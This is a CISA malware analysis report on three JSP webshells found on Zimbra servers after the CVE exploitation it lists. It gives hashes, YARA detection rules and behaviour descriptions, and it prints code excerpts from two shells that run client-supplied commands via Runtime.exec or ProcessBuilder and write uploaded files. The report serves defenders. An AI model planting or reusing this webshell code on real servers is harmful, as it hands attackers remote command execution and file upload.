



ANALYSIS REPORT

10410305.r1.v1 NUMBER

Malware Analysis Report

2022-11-10 DATE

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR—Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see <http://www.cisa.gov/tlp>.

Summary

Description

CISA received 3 Java Server Pages (JSP) webshells for analysis from an organization where cyber actors exploited vulnerabilities against Zimbra Collaboration Suite (ZCS). Four CVEs are currently being leveraged against ZCS: CVE-2022-24682, CVE-2022-27924, CVE-2022-27925 chained with CVE-2022-37042, and CVE-2022-30333. The files are server side code that allow clients to remotely send commands to be executed on the victim web server.

For more information on cyber actors exploiting vulnerabilities in ZCS, see joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite.

Submitted Files (3)

14bf0cbee88507fb016d01e3ced053858410c389be022d2aa4d075287c781c4a (hiall.jsp)
814a169ba97b168f95af3340b60a6fec1f29c87be89226b1966d9b0abfb19a15 (aes.jsp)
bc5b1f588cd506a69c03a7980a363846fa474b78e6946fa90e58d735c65f2bb6 (cmd.jsp)

Findings

bc5b1f588cd506a69c03a7980a363846fa474b78e6946fa90e58d735c65f2bb6

Tags

backdoor trojan webshell

Details

Name	cmd.jsp
Size	976 bytes
Type	HTML document, ASCII text, with very long lines, with no line terminators
MD5	91de296c801db00a24a2832b5e12d345
SHA1	010aee65009b9faeb3a4e24ca777d3aaa51b0bd3
SHA256	bc5b1f588cd506a69c03a7980a363846fa474b78e6946fa90e58d735c65f2bb6
SHA512	673a100072df4be4bb73828dde5b04d68b3aa59a78f1af42594e5771620ad4205389ff4d83456faa5262cd780e69deef7f34fe03757531cabb7faac093ad2546
ssdeep	24:gZIRLk+nn9IH/v+xVnVjQ4vajJHG3c3FvcVsUveakUSg:gh9cgVGo3c9cuakvg
Entropy	5.251748



Antivirus

ESET	Java/JSP.AC trojan
Trend Micro	Backdo0.E99CED14
Trend Micro HouseCall	Backdo0.E99CED14

YARA Rules

- rule CISA_10400779_07 : webshell


```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10400779"
    Date = "2022-08-29"
    Last_Modified = "20220908_1400"
    Actor = "n/a"
    Category = "Webshell"
    Family = "n/a"
    Description = "Detects JSP Webshell samples"
    MD5 = "6f1c2dd27e28a52eb09cdd2bc828386d"
    SHA256 = "6dee4a1d4ac6b969b1f817e36cb5d36c5de84aa8fe512f3b6e7de80a2310caea"
  strings:
    $s0 = { 78 3D 55 52 4C 44 65 63 6F 64 65 72 }
    $s1 = { 53 74 72 69 6E 67 20 6F 2C 6C 2C 64 }
    $s2 = { 72 65 71 75 65 73 74 2E 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D }
    $s3 = { 69 6E 64 65 78 4F 66 28 22 63 3D 22 29 }
    $s4 = { 2E 65 78 65 63 28 67 29 }
    $s5 = { 6F 75 74 2E 70 72 69 6E 74 }
    $s6 = { 70 61 72 73 65 42 61 73 65 36 34 42 69 6E 61 72 79 }
    $s7 = { 46 69 6C 65 2E 73 65 70 61 72 61 74 6F 72 }
    $s8 = { 6F 3D 22 55 70 6C 6F 61 64 65 64 }
    $s9 = { 6F 75 74 2E 70 72 69 6E 74 28 65 29 }
  condition:
    filesize < 10KB and all of them
}
```
- rule CISA_10401765_01 : webshell backdoor


```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10401765"
    Date = "2022-09-02"
    Last_Modified = "20220916_2100"
    Actor = "n/a"
    Category = "Webshell Backdoor"
    Family = "n/a"
    Description = "Detects JSP webshell samples"
    MD5_1 = "91de296c801db00a24a2832b5e12d345"
    SHA256_1 = "bc5b1f588cd506a69c03a7980a363846fa474b78e6946fa90e58d735c65f2bb6"
  strings:
    $s1 = { 70 61 67 65 20 69 6d 70 6f 72 74 3d 22 6a 61 76 61 2e 69 6f 2e 2a 2c 20 6a 61 76 61 2e 75 74 69 6c 2e 2a 2c 20 6a 61 76 61 78 2e 78 6d 6c 2e 62 69 6e 64 2e 2a 2c 20 6a 61 76 61 2e 6e 65 74 2e 2a }
    $s2 = { 65 76 61 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 65 6d 62 65 64 29 }
    $s3 = { 70 3d 52 75 6e 74 69 6d 65 2e 67 65 74 52 75 6e 74 69 6d 65 28 29 2e 65 78 65 63 28 67 29 }
    $s4 = { 69 3d 6e 65 77 20 44 61 74 61 49 6e 70 75 74 53 74 72 65 61 6d 28 70 2e 67 65 74 49 6e 70 75 74 53 74 72 65 61 6d 28 29 29 }
    $s5 = { 72 3d 6e 65 77 20 44 61 74 61 49 6e 70 75 74 53 74 72 65 61 6d 28 72 65 71 75 65 73 74 2e 67 65 74 49 6e 70 75 74 53 74 72 65 61 6d 28 29 29 }
}
```



```

$$s6 = { 6c 3d 72 2e 72 65 61 64 4c 69 6e 65 28 29 29 21 3d 6e 75 6c 6c 29 }
$$s7 = { 62 3d 64 2e 69 6e 64 65 78 4f 66 28 22 62 3d 22 29 }
$$s8 = { 6e 3d 64 2e 69 6e 64 65 78 4f 66 28 22 6e 3d 22 29 }
$$s9 = { 6d 3d 44 61 74 61 74 79 70 65 43 6f 6e 76 65 72 74 65 72 2e 70 61 72 73 65 42 61 73 65 36 34 42 69 6e 61 72 79 }
$$s10 = { 6f 75 74 2e 70 72 69 6e 74 28 22 3c 70 72 65 3e 22 29 }
$$s11 = { 73 3d 69 2e 72 65 61 64 4c 69 6e 65 28 29 29 21 3d 6e 75 6c 6c 29 }
$$s12 = { 66 3d 76 28 64 2e 73 75 62 73 74 72 69 6e 67 28 32 2c 6e 2d 31 29 29 2b 46 69 6c 65 2e 73 65 70 61 72 61 74 6f
72 2b 76 28 64 2e 73 75 62 73 74 72 69 6e 67 28 6e 2b 32 2c 62 2d 31 29 29 }
$$s13 = { 73 74 72 65 61 6d 3d 6e 65 77 20 46 69 6c 65 4f 75 74 70 75 74 53 74 72 65 61 6d 28 }
$$s14 = { 78 3d 55 52 4c 44 65 63 6f 64 65 72 2e 64 65 63 6f 64 65 28 77 2c 22 55 54 46 2d 38 22 29 }
$$s15 = { 6f 3d 22 55 70 6c 6f 61 64 65 64 3a 20 22 2b 66 }
condition:
  filesize < 5KB and all of them
}

```

ssdeep Matches

No matches found.

Description

This file is a JSP webshell that also allows file upload to the victim web server. If the client request body contains "c=", the script reads the contents of the body starting from the third character and executes it as a command in a separate process. The output from that command is sent back to the client.

If the client request body does not contain "c=" and is not an empty string, the script will attempt to write a file on the victim web server. The script assumes that the request body is in the following format and parses its contents accordingly: "{file directory} n={filename} b={data encoded in base64}". The script decodes the base64 encoded data, and writes it to the location specified by the file directory and filename values obtained from the client request body. If the file upload was successful, confirmation is sent back to the client.

Screenshots

```

String o,l,d;
o=l=d="";
DataInputStream r=new DataInputStream(request.getInputStream());
while((l=r.readLine())!=null){
    d+=l;
}
if(d.indexOf("c=")>=0){
    String g=v(d.substring(2));
    String s;
    try{
        Process p=Runtime.getRuntime().exec(g);
        DataInputStream i=new DataInputStream(p.getInputStream());
        out.print("<pre>");
        while((s=i.readLine())!=null){
            o+=s.replace("<","&lt;").replace(">","&gt;")+ "<br>";
        }
    } catch(Exception e){
        out.print(e);
    }
}

```

Figure 1 - The snippet of code that parses the client request body for the command to execute on the victim web server.

```

if(d.length()>1){
    int b=d.indexOf("b=");
    int n=d.indexOf("n=");
    byte[] m=DatatypeConverter.parseBase64Binary(v(d.substring(b+2)));
    String f=v(d.substring(2,n-1))+File.separator+v(d.substring(n+2,b-1));
    try {
        OutputStream stream=new FileOutputStream(f);
        stream.write(m);
        o="Uploaded: "+f;
    } catch(Exception e){
        out.print(e);
    }
}

```

Figure 2 - The snippet of code that parses the contents of the client request body to upload a file onto the victim web server.

14bf0cbee88507fb016d01e3ced053858410c389be022d2aa4d075287c781c4a

Tags

webshell

Details

Name	hiall.jsp
Size	673 bytes
Type	ASCII text, with very long lines, with no line terminators
MD5	6acf93001a61f325e17a6f0f49caf5d1
SHA1	ab479f3054a3d9d596fd2c73985120e5817912f3
SHA256	14bf0cbee88507fb016d01e3ced053858410c389be022d2aa4d075287c781c4a
SHA512	bd631f24c22f18c30912f0af9cd0638d7255989c1ea08f3368039e5978633b0c70cd4de78bc81eea60c224001b371ce44c35a34a0bda5a2d4d66ed5d289e3796
ssdeep	12:6/ecRT876QQFN+d6qqOoyDhDRd6rA2TTm2Fb4PloBhXhMNj/Krxa+d0JK32Qt:CT8eH86qRoyF60v4bCloBcur076
Entropy	5.491932

Antivirus

No matches found.

YARA Rules

- rule CISA_10410305_01 : webshell
 - {
 - meta:
 - Author = "CISA Code & Media Analysis"
 - Incident = "10410305"
 - Date = "2022-10-24"
 - Last_Modified = "20221028_1730"
 - Actor = "n/a"
 - Family = "n/a"
 - Malware_Type = "Webshell"
 - Tool_Type = "n/a"
 - Capabilities = "n/a"
 - Description = "Detects JSP webshells"
 - MD5 = "6acf93001a61f325e17a6f0f49caf5d1"
 - SHA256 = "14bf0cbee88507fb016d01e3ced053858410c389be022d2aa4d075287c781c4a"
 - strings:
 - \$s0 = { 72 65 71 75 65 73 74 }
 - \$s1 = { 67 65 74 50 61 72 61 6D 65 74 65 72 }
 - \$s2 = { 50 72 6F 63 65 73 73 42 75 69 6C 64 65 72 }
 - \$s3 = { 73 65 70 61 72 61 74 6F 72 43 68 61 72 }



```

$s4 = { 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D }
$s5 = { 75 73 65 44 65 6C 69 6D 69 74 65 72 }
$s6 = { 72 65 73 70 6F 6E 73 65 }
$s7 = { 73 65 6E 64 45 72 72 6F 72 }
$s8 = { 39 39 }
$s9 = { 31 30 39 }
$s10 = { 31 30 30 }
$s11 = { 34 37 }
$s12 = { 36 37 }
$s13 = { 39 38 }
$s14 = { 31 30 35 }
$s15 = { 31 31 30 }
$s16 = { 39 37 }
$s17 = { 31 31 35 }
$s18 = { 31 30 34 }
$s19 = { 34 35 }
condition:
  all of them and #s8 >= 2 and #s11 >= 3 and #s13 >= 2
}

```

ssdeep Matches

No matches found.

Description

This file is a JSP webshell. It reads the value of the parameter named "raw" in the client request, which ends up being the shell command that gets run. Based on the file separator character, the script detects whether the operating system (OS) is Windows or Linux. If the value of "raw" is not null and the OS is Windows, it starts a new process with the command "cmd /C {value of raw}". If the value of "raw" is not null and the OS is Linux, it starts a new process with the command "/bin/bash -c {value of raw}". Since the client sends in the value of "raw", it controls what gets run in the shell. Lastly, the output of the command gets printed on the webpage for the client to see.

Screenshots

```

String ABLTt = request.getParameter("raw");
ProcessBuilder pb;
if(String.valueOf(java.io.File.separatorChar).equals("\\")){
  pb = new ProcessBuilder(new String(new byte[]{95, 109, 100}), new String(new byte[]{47, 67}), ABLTt);
} else {
  pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), ABLTt);
}

```

Figure 3 - A snippet of code that takes the data the client sent and uses ProcessBuilder to execute the data as shell commands.

814a169ba97b168f95af3340b60a6fec1f29c87be89226b1966d9b0abfb19a15

Tags

- backdoor
- trojan
- webshell

Details

Name	aes.jsp
Size	867 bytes
Type	HTML document, ASCII text
MD5	5b739059ebb590df7bc7ed33c8d62531
SHA1	48e520d4705ae143783f1375e384eb793fb2b513
SHA256	814a169ba97b168f95af3340b60a6fec1f29c87be89226b1966d9b0abfb19a15
SHA512	db9bd83387037cfdc3567d8b351e85f1d135f80ee30b99cd526206d1d7cca62ac3c6868700f244debf2ba8763846d288eb3528a5b254f3861c7459cb47cf9349
ssdeep	12:e8dq1ctsjn9eARWTNEhRTCKp9n/UXRTq7NeqTq/v2aW+YDQ3qTqa:1gJj9eKWTmHTPfcTqnTqH1YDfTqa
Entropy	5.166005



Antivirus

AhnLab	WebShell/JSP.Small.S1403
ESET	Java/Webshell.K trojan
IKARUS	Backdoor.PHP.Remoteshell
McAfee	JSP/BackDoor.g
Quick Heal	ASP.Webshell.45634
Sophos	Troj/WebShel-BB

YARA Rules

```

• rule CISA_10400779_08 : trojan webshell
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10400779"
    Date = "2022-08-29"
    Last_Modified = "20220908_1400"
    Actor = "n/a"
    Category = "Trojan Webshell"
    Family = "n/a"
    Description = "Detects JSP Webshell command execution samples"
    MD5 = "7153cfe57d2df499175aced7e92bcf65"
    SHA256 = "ffb0f637776bc4cfcf5a24406ebf48fc21b9dcec68587a010f21b88250bda195"
  strings:
    $s0 = { 67 65 74 50 61 72 61 6D 65 74 65 72 28 22 63 6D 64 22 29 }
    $s1 = { 6F 75 74 2E 70 72 69 6E 74 6C 6E 28 22 43 6F 6D 6D 61 6E 64 }
    $s2 = { 22 3C 42 52 3E 22 }
    $s3 = { 67 65 74 50 72 6F 70 65 72 74 79 }
    $s4 = { 22 6F 73 2E 6E 61 6D 65 22 }
    $s5 = { 22 77 69 6E 64 6F 77 73 22 }
    $s6 = { 63 6D 64 2E 65 78 65 20 2F 43 }
    $s7 = { 4F 75 74 70 75 74 53 74 72 65 61 6D }
    $s8 = { 6F 75 74 2E 70 72 69 6E 74 6C 6E 28 64 69 73 72 29 }
  condition:
    all of them
}

```

ssdeep Matches

No matches found.

Description

This file is a JSP webshell. When initially loaded, there will be a text box and a button named "Send". The client can type anything in the text box. Clicking the "Send" button will submit the form and send the request to the web server. The string in the text box is sent over in the request parameter "cmd". If the "cmd" parameter is not null when the web server receives the request, the script will detect the OS type. If the OS is Windows, it starts a new process with the command "cmd /C {value of cmd}". If the OS is Linux, it starts a new process with the command "{value of cmd}". Since the client determines the value of "cmd", it controls what gets run in the shell. Lastly, the command that ran and the output of that command gets printed on the webpage for the client to see.

Screenshots

Commands with JSP

Command: echo hello

hello

Figure 4 - This is what the resulting webpage looks like when the "cmd" parameter in the client request was "echo hello".

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "**Guide to Malware Incident Prevention & Handling for Desktops and Laptops**".

Contact Information

- 1-888-282-0870
- [CISA Service Desk](#) (UNCLASS)
- [CISA SIPR](#) (SIPRNET)
- [CISA IC](#) (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: <https://us-cert.cisa.gov/forms/feedback/>

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis,



please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or [CISA Service Desk](#).

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: <https://malware.us-cert.gov>
- E-Mail: submit@malware.us-cert.gov
- FTP: <ftp.malware.us-cert.gov> (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

